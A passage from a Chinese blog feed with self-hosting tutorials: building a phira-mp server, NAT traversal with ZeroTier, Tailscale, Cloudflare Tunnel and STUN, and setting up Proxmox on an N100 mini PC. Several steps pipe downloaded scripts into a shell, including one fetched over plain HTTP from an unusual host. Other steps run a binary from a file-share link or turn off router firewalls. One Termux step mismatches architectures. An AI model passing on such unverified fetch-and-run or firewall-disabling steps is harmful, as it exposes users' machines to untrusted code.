<p>前往<a href="https://www.rust-lang.org/zh-CN/learn/get-started">Rust 下载页</a>,下载 Rust <img src="https://blog.acofork.com/_astro/2024-11-06-09-57-44-6b333b87e835dfa299b0c3c95e5ea4e0.CCfr_E4v.webp" alt="" />
|
||
打开后会弹出一个 CMD 窗口,输入 1(Quick Install)回车,等待 Visual Studio 安装(如果此步 Visual Studio 下载很慢也可以<a href="https://visualstudio.microsoft.com/zh-hans/downloads/">手动下载</a>)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-11-06-09-57-49-61b4d36dc8cd1ce47da66be5e2a920cd.B7E5EIvS.webp" alt="" />在 Visual Studio 中,勾选<strong>使用 C++ 的桌面开发</strong>,然后安装<br />
|
||
<img src="https://blog.acofork.com/_astro/2024-11-06-09-58-05-390c775c83dc245b0690fda699bfee5f.Clk5SgMe.webp" alt="" />然后请跳过 Linux 教程直接阅读<a>构建 phira-mp</a></p>
|
||
<h2>对于Linux</h2>
|
||
<p>执行:<code>curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh</code></p>
|
||
<p>选择 1 回车</p>
|
||
<p>执行:<code>source $HOME/.cargo/env</code></p>
|
||
<h1>使用Rust构建phira-mp</h1>
|
||
<p>克隆仓库:<code>git clone https://github.com/TeamFlos/phira-mp.git</code>(不支持IPv6)或<code>git clone https://github.com/afoim/phira-mp-autobuild.git</code>(支持IPv6)</p>
|
||
<p><code>cd phira-mp</code>或<code>cd phira-mp-autobuild</code></p>
|
||
<p>更新依赖:<code>cargo update</code></p>
|
||
<p>构建:<code>cargo build --release -p phira-mp-server</code></p>
|
||
<p>运行程序并将 log 打印到终端,会显示你监听的端口:<code>RUST_LOG=info target/release/phira-mp-server</code><br />
|
||
(如果你需要指定端口号:<code>RUST_LOG=info target/release/phira-mp-server --port 8080</code>)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-11-06-10-14-36-0dce4358b21773ae1261e7fc39339c32.DghVj_Xm.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>究极喂饭教程,手把手教你内网穿透</title><link>https://blog.acofork.com/posts/across-nat/</link><guid isPermaLink="true">https://blog.acofork.com/posts/across-nat/</guid><description>使用Zerotier,Tailscale,Cloudflare Tunnel可以实现多种内网穿透,其中有适用于个人访问的,也有适用于公众访问的</description><pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate><content:encoded><h1>经实测,Zerotier的打洞能力明显优于Tailscale,所以建议通过Zerotier来实现内网穿透</h1>
|
||
<p>详细报表:</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th></th>
|
||
<th>Zerotier</th>
|
||
<th>Tailscale</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>单端DMZ(单端NAT1)</td>
|
||
<td>STUN</td>
|
||
<td>STUN</td>
|
||
</tr>
|
||
<tr>
|
||
<td>仅单端UPnP(单端NAT3)</td>
|
||
<td>UDP P2P</td>
|
||
<td>玄学穿透</td>
|
||
</tr>
|
||
<tr>
|
||
<td>双端UPnP(双端NAT3)</td>
|
||
<td>UDP P2P</td>
|
||
<td>玄学穿透</td>
|
||
</tr>
|
||
<tr>
|
||
<td>双端无UPnP/DMZ(双端NAT3/NAT4)</td>
|
||
<td>UDP P2P</td>
|
||
<td>无法穿透</td>
|
||
</tr>
|
||
<tr>
|
||
<td>自建中继/握手节点</td>
|
||
<td>√</td>
|
||
<td>√</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p>其实实际情况会更加复杂一点,但是你只要有 <strong>公网IPv6、UPnP、DMZ</strong> 中的其中一项,Zerotier就几乎是100%的打洞成功率</p>
|
||
<p>如何知道我是P2P还是中继?
|
||
ping你的对端设备,如果延迟大于200ms或者经常丢包大概率就是中继节点(也有小概率是你的设备负载过高导致无法及时接收和返回ping包)</p>
|
||
<h1>啥是内网穿透?</h1>
|
||
<p>当我们在家中有个NAS,想要在学校/公司的网络来访问,就需要用到内网穿透,实现外网访问内网服务。原理一般是P2P打洞和服务器中转流量</p>
|
||
<h1>前期准备</h1>
|
||
<p>路由器开启UPnP<img src="https://blog.acofork.com/_astro/2024-10-28-17-08-00-image.D3nm75yS.webp" alt="" /></p>
|
||
<p>关闭路由器的IPv4,IPv6防火墙 <strong>(可选)</strong><img src="https://blog.acofork.com/_astro/2024-10-28-17-09-19-image.C3UGHG99.webp" alt="" /></p>
|
||
<h1><em>使用Zerotier/Tailscale进行内网穿透</em></h1>
|
||
<blockquote>
|
||
<p>他们俩的原理都是尝试对端建立P2P连接,需要对端安装一个软件并且长期运行</p>
|
||
</blockquote>
|
||
<h1>使用Zerotier进行内网穿透的详细教程</h1>
|
||
<h2>创建Zerotier账号</h2>
|
||
<p>前往:<a href="https://www.zerotier.com/">ZeroTier | Global Networking Solution for IoT, SD-WAN, and VPN</a>。如果你进不去,请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能<img src="https://blog.acofork.com/_astro/2024-10-28-17-12-51-image.Ddi3o4wp.webp" alt="" /></p>
|
||
<p>选择 <code>Sign up</code><img src="https://blog.acofork.com/_astro/2024-10-28-17-13-06-image.mYYPjbz1.webp" alt="" /></p>
|
||
<p>如果你到了这个界面,请仍然选择<code>Sign up</code><img src="https://blog.acofork.com/_astro/2024-10-28-17-15-08-image.CsKcWiIB.webp" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-28-17-16-52-image.DxGkCjJp.webp" alt="" /></p>
|
||
<p>账号创建完毕后,登录即可<img src="https://blog.acofork.com/_astro/2024-10-28-17-17-47-image.CwgRWoMp.webp" alt="" /></p>
|
||
<h2>创建一个新的Zerotier网络组</h2>
|
||
<p>当你账号登录成功后,会自动跳转到这个页面,点击<code>Create A Network</code>。如果没有,请访问<a href="https://my.zerotier.com/">ZeroTier Central</a></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-28-17-20-24-image.f8oScQGB.webp" alt="" /></p>
|
||
<p>下面的列表会增加一个新的网络组,点击它<img src="https://blog.acofork.com/_astro/2024-10-28-17-21-31-image.Xnc9h9zy.webp" alt="" /></p>
|
||
<p>Zerotier默认的网络组模式为<code>Private</code>。即私密模式,哪怕别人知道了你的<code>Network ID</code>尝试加入你的网络组也需要你进行验证</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-28-17-22-38-image.B-eU03LS.webp" alt="" /></p>
|
||
<p>复制这个<code>Network ID</code><img src="https://blog.acofork.com/_astro/2024-10-28-17-22-13-image.DL6BJFdN.webp" alt="" /></p>
|
||
<hr />
|
||
<h1>在设备上安装Zerotier应用</h1>
|
||
<h2>Windows:</h2>
|
||
<p>前往<a href="https://www.zerotier.com/download/">Download - ZeroTier</a>,下载exe安装文件<img src="https://blog.acofork.com/_astro/2024-10-28-17-25-52-image.Cf50Yqec.webp" alt="" /></p>
|
||
<p>打开Zerotier<img src="https://blog.acofork.com/_astro/2024-10-28-17-27-20-image.jl_-Sny8.webp" alt="" /></p>
|
||
<p>查看右下角托盘,按照图片操作加入网络组<img src="https://blog.acofork.com/_astro/2024-10-28-17-28-20-image.vuLpRAAo.webp" alt="" /><img src="https://blog.acofork.com/_astro/2024-10-28-17-29-12-image.Dt6EL3_x.webp" alt="" /><img src="https://blog.acofork.com/_astro/2024-10-28-17-30-26-image.BTCSEbnz.webp" alt="" /></p>
|
||
<p>这里可以查询到你的设备ID和你在这个网络组的IP</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-28-18-03-19-image.BYPZXFfC.webp" alt="" /></p>
|
||
<p><strong>然后参考:<a href="#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87">Zerotier授权设备</a></strong></p>
|
||
<h2>Linux(飞牛OS):</h2>
|
||
<p>通过SSH连接上你的Linux设备</p>
|
||
<p>查看安装命令:<a href="https://www.zerotier.com/download/">Download - ZeroTier</a><img src="https://blog.acofork.com/_astro/2024-10-28-17-38-19-image.Gzx7L_Cn.webp" alt="" /></p>
|
||
<p>终端执行: <code>curl -s https://install.zerotier.com | sudo bash</code></p>
|
||
<p>看到这一行即安装完毕,后面那一串即你的设备ID:<img src="https://blog.acofork.com/_astro/2024-10-28-17-39-23-image.Cw5ity2X.webp" alt="" /></p>
|
||
<p>加入网络:<code>sudo zerotier-cli join 你的Network ID</code><img src="https://blog.acofork.com/_astro/2024-10-28-17-42-01-image.iZzNeRsh.webp" alt="" /></p>
|
||
<p><strong>然后参考:<a href="#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87">Zerotier授权设备</a></strong></p>
|
||
<h2>Android(安卓)</h2>
|
||
<p>下载客户端</p>
|
||
<ol>
|
||
<li>
|
||
<p>Zerotier One:<a href="https://apkpure.net/zerotier-one/com.zerotier.one">ZeroTier One APK Download for Android - Latest Version</a></p>
|
||
</li>
|
||
<li>
|
||
<p>ZerotierFix:<a href="https://github.com/kaaass/ZerotierFix/releases">Releases · kaaass/ZerotierFix</a></p>
|
||
</li>
|
||
</ol>
|
||
<p>如图操作</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-28-17-59-06-image.DNvl3C1n.webp" alt="" /><img src="https://blog.acofork.com/_astro/2024-10-28-17-59-46-image.Cb6Z0gLJ.webp" alt="" /></p>
|
||
<p><strong>然后参考:<a href="#zerotier%E6%8E%88%E6%9D%83%E8%AE%BE%E5%A4%87">Zerotier授权设备</a></strong></p>
|
||
<hr />
|
||
<h1>Zerotier授权设备</h1>
|
||
<p>前往Zerotier的网页控制台:<a href="%5Bhttps://my.zerotier.com/%5D(https://my.zerotier.com/)">ZeroTier Central</a></p>
|
||
<p>授权刚才加入的设备<img src="https://blog.acofork.com/_astro/2024-10-28-17-31-51-image.s1EedpqN.webp" alt="" /></p>
|
||
<p>勾选然后保存<img src="https://blog.acofork.com/_astro/2024-10-28-17-33-10-image.DkUZVGaz.webp" alt="" /></p>
|
||
<hr />
|
||
<h1>Zerotier访问测试</h1>
|
||
<p>如果你同一个网络组里已经有两台以上的设备了,可以尝试ping一下测试连通性,请先确保两台设备不在同一个局域网(比如手机开流量,NAS用家里的无线网)</p>
|
||
<p>IP可以在这里查看<img src="https://blog.acofork.com/_astro/2024-10-28-18-02-00-image.DidndU1x.webp" alt="" /></p>
|
||
<p>ping测试:<img src="https://blog.acofork.com/_astro/2024-10-28-18-07-13-image.Dsot47uv.webp" alt="" /></p>
|
||
<hr />
|
||
<h1>使用Tailscale进行内网穿透的详细教程</h1>
|
||
<h2>创建Tailscale账号</h2>
|
||
<p>前往:<a href="https://login.tailscale.com/start">Tailscale</a>。如果你进不去,请尝试挂梯子。如果看不懂英文可以开启浏览器的翻译功能</p>
|
||
<p>选择任意一个登录方式<img src="https://blog.acofork.com/_astro/2024-10-28-18-24-32-image.Wjpa6v28.webp" alt="" /></p>
|
||
<p>账号创建完毕后,登录即可</p>
|
||
<hr />
|
||
<h1>在设备上安装Tailscale应用</h1>
|
||
<h2>Windows:</h2>
|
||
<p>前往<a href="https://tailscale.com/download">Download · Tailscale</a>,下载exe安装文件</p>
|
||
<p>官方教程:<img src="https://blog.acofork.com/_astro/2024-10-28-18-31-48-image.DVGnVU9p.webp" alt="" /></p>
|
||
<h2>Linux(飞牛OS):</h2>
|
||
<p>通过SSH连接上你的Linux设备</p>
|
||
<p>查看安装命令:<a href="https://tailscale.com/download/linux">Download · Tailscale</a><img src="https://blog.acofork.com/_astro/2024-10-28-18-32-58-image.BMg-y-Aw.webp" alt="" /></p>
|
||
<p>终端执行: <code>curl -fsSL https://tailscale.com/install.sh | sh</code></p>
|
||
<p>等待安装完毕后输入:<code>tailscale login</code></p>
|
||
<p>打开弹出的浏览器窗口,登录你的账号即可</p>
|
||
<h2>Android(安卓)</h2>
|
||
<p>下载客户端(Google Play):<a href="https://tailscale.com/download/android">Download · Tailscale</a></p>
|
||
<p>登录你的账号即可</p>
|
||
<hr />
|
||
<h2>Tailscale访问测试</h2>
|
||
<p>前往Tailscale的网页控制台:<a href="https://login.tailscale.com/admin/machines">Machines - Tailscale</a>。可以查看到每个设备Tailscale分配的IP<img src="https://blog.acofork.com/_astro/2024-10-28-18-26-58-image.axvEtzCv.webp" alt="" /></p>
|
||
<p>ping测试<img src="https://blog.acofork.com/_astro/2024-10-28-18-41-45-image.DFXGsO_N.webp" alt="" /></p>
|
||
<hr />
|
||
<h1>使用Cloudflare Tunnel进行内网穿透</h1>
|
||
<blockquote>
|
||
<p>这种方法可以不进行任何配置直接在公网上被访问,但是仅限Web服务。如果你想穿透游戏服务器等则不可用。你需要先将域名托管到Cloudflare</p>
|
||
</blockquote>
|
||
<p>创建Cloudflare账号<a href="https://dash.cloudflare.com/">主页 | Cloudflare</a></p>
|
||
<p>进入<a href="https://one.dash.cloudflare.com/">Cloudflare One</a>(需要绑定PayPal)</p>
|
||
<p>如图操作,创建一个Tunnel<img src="https://blog.acofork.com/_astro/2024-10-28-18-45-41-image.DeKN_ocp.webp" alt="" /><img src="https://blog.acofork.com/_astro/2024-10-28-18-45-54-image.KXocwOIX.webp" alt="" /><img src="https://blog.acofork.com/_astro/2024-10-28-18-46-22-image.DBhzZjGY.webp" alt="" /></p>
|
||
<h2>Docker方式</h2>
|
||
<p><strong>使用1Panel</strong></p>
|
||
<p>复制如图的命令</p>
|
||
<p><img src="https://blog.acofork.com/_astro/48e9c43eb5c0fb49cc5517687698e3d9d1e60220.DhtealJQ.webp" alt="" /></p>
|
||
<p>将其粘贴,并且复制后面的令牌<img src="https://blog.acofork.com/_astro/a2e18519d3782d765d7293c7a3d21031c787d575.BUXoBbSN.webp" alt="" /></p>
|
||
<p>1Panel应用商店搜索<code>cloudflared</code><img src="https://blog.acofork.com/_astro/cf2eba61f0aaa7605240187e1c46f80a3954edfa.CLm7N0oy.webp" alt="" /></p>
|
||
<p>填入令牌<img src="https://blog.acofork.com/_astro/6f661ffa778b2be2e108912d3d44d8b3301df6d6.Bb2JsIaa.webp" alt="" /></p>
|
||
<p>然后前往<a href="#%E6%9F%A5%E7%9C%8Bcloudflared%E7%9A%84ip">查看IP</a></p>
|
||
<p><strong>使用命令运行</strong></p>
|
||
<p>复制底下的命令然后SSH连接到Linux(飞牛OS)在终端输入</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-28-18-46-49-image.DaTfGSmY.webp" alt="" /></p>
|
||
<p>然后前往<a href="#%E6%9F%A5%E7%9C%8Bcloudflared%E7%9A%84ip">查看IP</a></p>
|
||
<h3>查看cloudflared的IP</h3>
|
||
<p>因为我们是Docker模式,所以IP需要通过SSH终端输入<code>ip a</code>来查看。我这里是<code>192.168.124.34</code></p>
|
||
<pre><code>root@n100-debian:~# ip a
|
||
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
|
||
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
|
||
inet 127.0.0.1/8 scope host lo
|
||
valid_lft forever preferred_lft forever
|
||
inet6 ::1/128 scope host noprefixroute
|
||
valid_lft forever preferred_lft forever
|
||
2: ens18: tiROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
|
||
link/ether bc:24:11:33:e1:7d brd ff:ff:ff:ff:ff:ff
|
||
altname enp0s18
|
||
inet 192.168.124.34/24 brd 192.168.124.255 scope global dynamic ens18
|
||
valid_lft 46579sec preferred_lft 46579sec
|
||
inet6 2409:8a30:320:a170:be24:11ff:fe33:e17d/64 scope global dynamic mngtmpaddr
|
||
valid_lft 1902sec preferred_lft 1898sec
|
||
inet6 fe80::be24:11ff:fe33:e17d/64 scope link
|
||
valid_lft forever preferred_lft foreverti
|
||
</code></pre>
|
||
<p><strong>然后前往<a href="#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel">配置并访问Tunnel</a></strong></p>
|
||
<h2>原生模式(以Debian为例)</h2>
|
||
<p>选择Debian,然后复制底下的命令,直接到终端执行</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-28-20-00-49-image.B1FDc-jT.webp" alt="" /></p>
|
||
<p>如果你的环境无法连接上Github</p>
|
||
<p>尝试手动下载:<a href="https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb">https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb</a></p>
|
||
<p>然后将其通过SSH等方式传到Linux上,如图终端为MobaXterm<img src="https://blog.acofork.com/_astro/2024-10-29-10-18-29-image.D6aMyLhl.webp" alt="" /></p>
|
||
<p>然后使用:<code>dpkg -i cloudflared-linux-amd64.deb</code>安装这个软件包</p>
|
||
<p>然后直接复制右边的命令到SSH终端执行<img src="https://blog.acofork.com/_astro/48e9c43eb5c0fb49cc5517687698e3d9d1e60220.DhtealJQ.webp" alt="" /></p>
|
||
<p><strong>然后前往<a href="#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel">配置并访问Tunnel</a></strong></p>
|
||
<h2>Android(Termux)</h2>
|
||
<p>在Android上安装<a href="https://termux.dev">Termux | The main termux site and help pages.</a></p>
|
||
<p>在终端执行:<code>pkg install cloudflared</code></p>
|
||
<p>选择<code>Debian</code>然后复制最右边的命令到终端执行<img src="https://blog.acofork.com/_astro/2024-10-29-08-42-38-image.Epg3ZSDA.webp" alt="" />
|
||
如果你无法使用Termux自带的cloudflared,请尝试安装proot容器实现</p>
|
||
<p>依次输入命令:</p>
|
||
<pre><code>pkg update &amp;&amp; pkg upgrade
|
||
pkg install proot
|
||
pkg install proot-distro
|
||
proot-distro list
|
||
proot-distro install debian
|
||
proot-distro login debian
|
||
apt install wget
|
||
wget https://github.com/cloudflare/cloudflared/releases/download/2024.10.1/cloudflared-linux-arm64.deb
|
||
dpkg -i cloudflared-linux-amd64.deb
|
||
</code></pre>
|
||
<p>然后直接复制右边的命令到SSH终端执行</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-29-08-42-38-image.Epg3ZSDA.webp" alt="" /></p>
|
||
<p>如果你无法通过令牌配置cloudflared,请参见<a href="#%E6%9C%AC%E5%9C%B0%E6%96%B9%E5%BC%8F">本地方式配置cloudflared</a></p>
|
||
<p><strong>然后前往<a href="#%E9%85%8D%E7%BD%AE%E5%B9%B6%E8%AE%BF%E9%97%AEtunnel">配置并访问Tunnel</a></strong></p>
|
||
<hr />
|
||
<h1>配置并访问Tunnel</h1>
|
||
<h2>通过网页配置</h2>
|
||
<blockquote>
|
||
<p>这种方法需要直接在安装了cloudflared的设备上通过令牌运行</p>
|
||
</blockquote>
|
||
<p>如图进入,创建一个HTTP隧道</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2024-10-28-18-49-21-image.eADBBM2j.webp" alt="" /><img src="https://blog.acofork.com/_astro/2024-10-28-18-49-44-image.DpwCTS0j.webp" alt="" /></p>
|
||
<p>填写你的IP和端口,非Docker模式可以直接填写localhost<img src="https://blog.acofork.com/_astro/2024-10-28-18-53-37-image.DtsQD-YS.webp" alt="" /></p>
|
||
<h2>本地方式</h2>
|
||
<blockquote>
|
||
<p>这种方法只需要在安装了cloudflared的设备上输入一些命令然后通过网页授权,后续更改配置也需要在本地操作</p>
|
||
</blockquote>
|
||
<p>登录并授权:<code>cloudflared tunnel login</code></p>
|
||
<p>创建隧道并设置隧道(HTTP模式穿透,目标地址<code>127.0.0.1</code>,端口:<code>8080</code>,外部域名:<code>test.onani.cn</code>):<code>cloudflared tunnel --name test --url http://127.0.0.1:8080 --http2 --hostname test.onani.cn</code></p>
|
||
<h2>访问测试</h2>
|
||
<p>成功访问<img src="https://blog.acofork.com/_astro/2024-10-28-18-54-42-image.ngPhAoGm.webp" alt="" /></p>
|
||
<h1>使用STUN打洞</h1>
|
||
<blockquote>
|
||
<p>这种方法可以不进行任何配置直接在公网上被访问,并且所有类型的服务都能正常使用。但是这种方式进行的内网穿透无法固定也无法指定IP和端口,在3~7天后会改变</p>
|
||
</blockquote>
|
||
<h2>安装Lucky</h2>
|
||
<p>执行:<code>curl -o /tmp/install.sh http://6.666666.host:6/files/golucky.sh &amp;&amp; sh /tmp/install.sh http://6.666666.host:6/files 2.13.4</code></p>
|
||
<p>通过<code>host:16601</code> 进入Lucky后台,设置STUN穿透。如果DMZ主机不设为Lucky主机可能会失败。打码的地方即公网访问的IP和端口<img src="https://blog.acofork.com/_astro/2024-10-28-18-56-16-image.B4KvIkrQ.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>N100 - PVE(fnOS+Debian)基建记录</title><link>https://blog.acofork.com/posts/n100-pve/</link><guid isPermaLink="true">https://blog.acofork.com/posts/n100-pve/</guid><description>在N100小主机上安装PVE,然后在其中安装飞牛NAS和Debian,实现追番建站分离,并且易扩展,易迁移</description><pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate><content:encoded><h1>配置&amp;需求</h1>
|
||
<ul>
|
||
<li>
|
||
<p>N100 CPU 频率:最小 700 Mhz, 最大 3400 Mhz | TDP:6 W</p>
|
||
</li>
|
||
<li>
|
||
<p>8G RAM</p>
|
||
</li>
|
||
<li>
|
||
<p>128G M.2 NVme SSD</p>
|
||
</li>
|
||
<li>
|
||
<p>512G SATA HDD</p>
|
||
</li>
|
||
<li>
|
||
<p>Realtek R8168 有线网卡</p>
|
||
</li>
|
||
<li>
|
||
<p>USB有线网卡</p>
|
||
</li>
|
||
<li>
|
||
<p>U盘(作PVE引导盘)</p>
|
||
</li>
|
||
</ul>
|
||
<h1>目标</h1>
|
||
<ol>
|
||
<li>
|
||
<p>所有系统通过PVE管理</p>
|
||
</li>
|
||
<li>
|
||
<p>PVE下安装fnOS,作NAS并配置自动追番(直通:<code>N100核显</code> <code>512G SATA HDD</code> )</p>
|
||
</li>
|
||
<li>
|
||
<p>PVE下安装Debian,搭建QQBot、博客、AList</p>
|
||
</li>
|
||
</ol>
|
||
<hr />
|
||
<h1>1. PVE</h1>
|
||
<h2>安装</h2>
|
||
<ul>
|
||
<li>
|
||
<p>下载Ventoy最新版可执行文件:</p>
|
||
<p><a href="https://www.ventoy.net/cn/download.html">https://www.ventoy.net/cn/download.html</a></p>
|
||
<ul>
|
||
<li>使用GPT分区表,NTFS格式将Ventoy写入U盘</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p>下载PVE最新版ISO(使用USTC镜像源):</p>
|
||
<p><a href="https://mirrors.ustc.edu.cn/help/proxmox.html">https://mirrors.ustc.edu.cn/help/proxmox.html</a></p>
|
||
<ul>
|
||
<li>将PVE的ISO文件放入U盘根目录</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p>插入USB网卡,U盘连接到到N100,开机从U盘启动,进入PVE安装界面,安装PVE。网络配置选择USB网卡</p>
|
||
</li>
|
||
<li>
|
||
<p>重启,进入PVE,通过IP+8006端口进入WebUI,登录进去</p>
|
||
</li>
|
||
</ul>
|
||
<h2>配置</h2>
|
||
<h3>安装PVE快捷管理脚本</h3>
|
||
<ul>
|
||
<li>
|
||
<p>安装PVE快捷管理脚本:<a href="https://alist.onani.cn/pve_source.tar.gz">pve_source.tar.gz | AcoFork-AList</a> 或 <a href="https://wwp.lanzoul.com/ivHta1ngmo6d"><strong>https://wwp.lanzoul.com/ivHta1ngmo6d</strong></a> (密码:i1ws)(来自:在下莫老师)</p>
|
||
<ul>
|
||
<li>
|
||
<p>解压:<code>tar zxvf pve_source.tar.gz</code></p>
|
||
</li>
|
||
<li>
|
||
<p>运行:<code>./pve_source</code></p>
|
||
</li>
|
||
<li>
|
||
<p>同意许可协议</p>
|
||
</li>
|
||
<li>
|
||
<p>依次执行白框操作<img src="https://blog.acofork.com/_astro/ea205e1a00e7029dfa4bd7850c5a6a68d6d4c0d9.DcsiDNsw.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>扩容local:<code>lvextend -rl +100%FREE /dev/pve/root</code></p>
|
||
</li>
|
||
</ul>
|
||
</li>
|
||
</ul>
|
||
<h3>配置Realtek R8168网卡</h3>
|
||
<blockquote>
|
||
<p>由于Debian系默认安装R8169驱动,我们需要手动安装R8168驱动,否则无法使用N100小主机自带的有线网口上网</p>
|
||
</blockquote>
|
||
<ul>
|
||
<li>
|
||
<p>下载驱动:</p>
|
||
<p><a href="https://www.realtek.com/Download/List?cate_id=584">https://www.realtek.com/Download/List?cate_id=584</a><img src="https://blog.acofork.com/_astro/0d8457c7fb0d497e12e2c8b544f07c3c37cf96cd.dqoepLBs.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>解压,安装:<code>sh autorun.sh</code></p>
|
||
</li>
|
||
<li>
|
||
<p>查看是否有新的网络接口:<code>ip a</code></p>
|
||
</li>
|
||
<li>
|
||
<pre><code>root@n100-pve:~# ip a
|
||
...
|
||
2: enp3s0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000
|
||
link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
|
||
...
|
||
</code></pre>
|
||
</li>
|
||
<li>
|
||
<p>配置网络配置文件:<code>nano /etc/network/interfaces</code></p>
|
||
<pre><code># network interface settings; autogenerated
|
||
# Please do NOT modify this file directly, unless you know what
|
||
# you're doing.
|
||
#
|
||
# If you want to manage parts of the network configuration manually,
|
||
# please utilize the 'source' or 'source-directory' directives to do
|
||
# so.
|
||
# PVE will preserve these directives, but will NOT read its network
|
||
# configuration from sourced files, so do not attempt to move any of
|
||
# the PVE managed interfaces into external files!
|
||
|
||
auto lo
|
||
iface lo inet loopback
|
||
|
||
iface wlp1s0 inet manual
|
||
|
||
iface enp3s0 inet manual
|
||
|
||
auto vmbr1
|
||
iface vmbr1 inet static
|
||
address 192.168.124.25/24
|
||
gateway 192.168.124.1
|
||
bridge-ports enp3s0
|
||
bridge-stp off
|
||
bridge-fd 0
|
||
|
||
iface vmbr1 inet6 auto
|
||
dhcp 1
|
||
accept_ra 2
|
||
request_prefix 1
|
||
|
||
source /etc/network/interfaces.d/*
|
||
</code></pre>
|
||
</li>
|
||
<li>
|
||
<p>重启网络服务:<code>systemctl restart networking</code></p>
|
||
</li>
|
||
<li>
|
||
<p>查看ip:<code>ip a</code></p>
|
||
<pre><code>root@n100-pve:~# ip a
|
||
...
|
||
2: enp3s0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc mq master vmbr1 state UP group default qlen 1000
|
||
link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
|
||
...
|
||
4: vmbr1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default qlen 1000
|
||
link/ether 00:e0:4c:08:91:a6 brd ff:ff:ff:ff:ff:ff
|
||
inet 192.168.124.25/24 scope global vmbr1
|
||
valid_lft forever preferred_lft forever
|
||
inet6 2409:8a30:320:7fc0:2e0:4cff:fe08:91a6/64 scope global dynamic mngtmpaddr
|
||
valid_lft 2763sec preferred_lft 2762sec
|
||
inet6 fe80::2e0:4cff:fe08:91a6/64 scope link
|
||
valid_lft forever preferred_lft forever
|
||
</code></pre>
|
||
</li>
|
||
<li>
|
||
<p>卸除USB网卡</p>
|
||
</li>
|
||
</ul>
|
||
<h3>配置STUN穿透</h3>
|
||
<h4>路由器设置DMZ主机为PVEIP</h4>
|
||
<ul>
|
||
<li><img src="https://blog.acofork.com/_astro/dbeb7980e5fc699c696ffa6f2fda4a17c05ee821.BHcoVBMN.webp" alt="" /></li>
|
||
</ul>
|
||
<h4>安装Lucky</h4>
|
||
<ul>
|
||
<li>
|
||
<p>执行:<code>curl -o /tmp/install.sh http://6.666666.host:6/files/golucky.sh &amp;&amp; sh /tmp/install.sh http://6.666666.host:6/files 2.13.4</code></p>
|
||
</li>
|
||
<li>
|
||
<p>通过<code>host:16601</code> 进入Lucky后台,设置STUN穿透</p>
|
||
</li>
|
||
<li>
|
||
<p><img src="https://blog.acofork.com/_astro/2175839424184aee880b91382bd1fbf3c578d258.D5_1fXwe.webp" alt="" /></p>
|
||
</li>
|
||
</ul>
|
||
<h1>2. fnOS</h1>
|
||
<h2>安装</h2>
|
||
<ul>
|
||
<li>
|
||
<p>前往官网下载最新版ISO:</p>
|
||
<p><a href="https://www.fnnas.com/">https://www.fnnas.com/</a></p>
|
||
</li>
|
||
<li>
|
||
<p>上传至PVE:<img src="https://blog.acofork.com/_astro/073808516d357e099a866c30b4a77954c5b9b458.4DYT2j5f.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>创建fnOS虚拟机,CPU类型选择host,步骤略</p>
|
||
</li>
|
||
<li>
|
||
<p>直通核显和硬盘:<img src="https://blog.acofork.com/_astro/08e4f7a3b87ae86334011e1d4c3a384a36ad9866.KRDPB0W6.webp" alt="" /></p>
|
||
</li>
|
||
<li>
|
||
<p>如果你不知道你的核显和SATA控制器的PCI ID:<code>lspci</code></p>
|
||
<ul>
|
||
<li>
|
||
<p>可见核显为<code>00:02.0</code>,SATA控制器为<code>00:17.0</code></p>
|
||
<pre><code>root@n100-pve:~# lspci
|
||
00:00.0 Host bridge: Intel Corporation Device 461c
|
||
00:02.0 VGA compatible controller: Intel Corporation Alder Lake-N [UHD Graphics]
|
||
00:0a.0 Signal processing controller: Intel Corporation Platform Monitoring Technology (rev 01)
|
||
00:14.0 USB controller: Intel Corporation Alder Lake-N PCH USB 3.2 xHCI Host Controller
|
||
00:14.2 RAM memory: Intel Corporation Alder Lake-N PCH Shared SRAM
|
||
00:16.0 Communication controller: Intel Corporation Alder Lake-N PCH HECI Controller
|
||
00:17.0 SATA controller: Intel Corporation Alder Lake-N SATA AHCI Controller
|
||
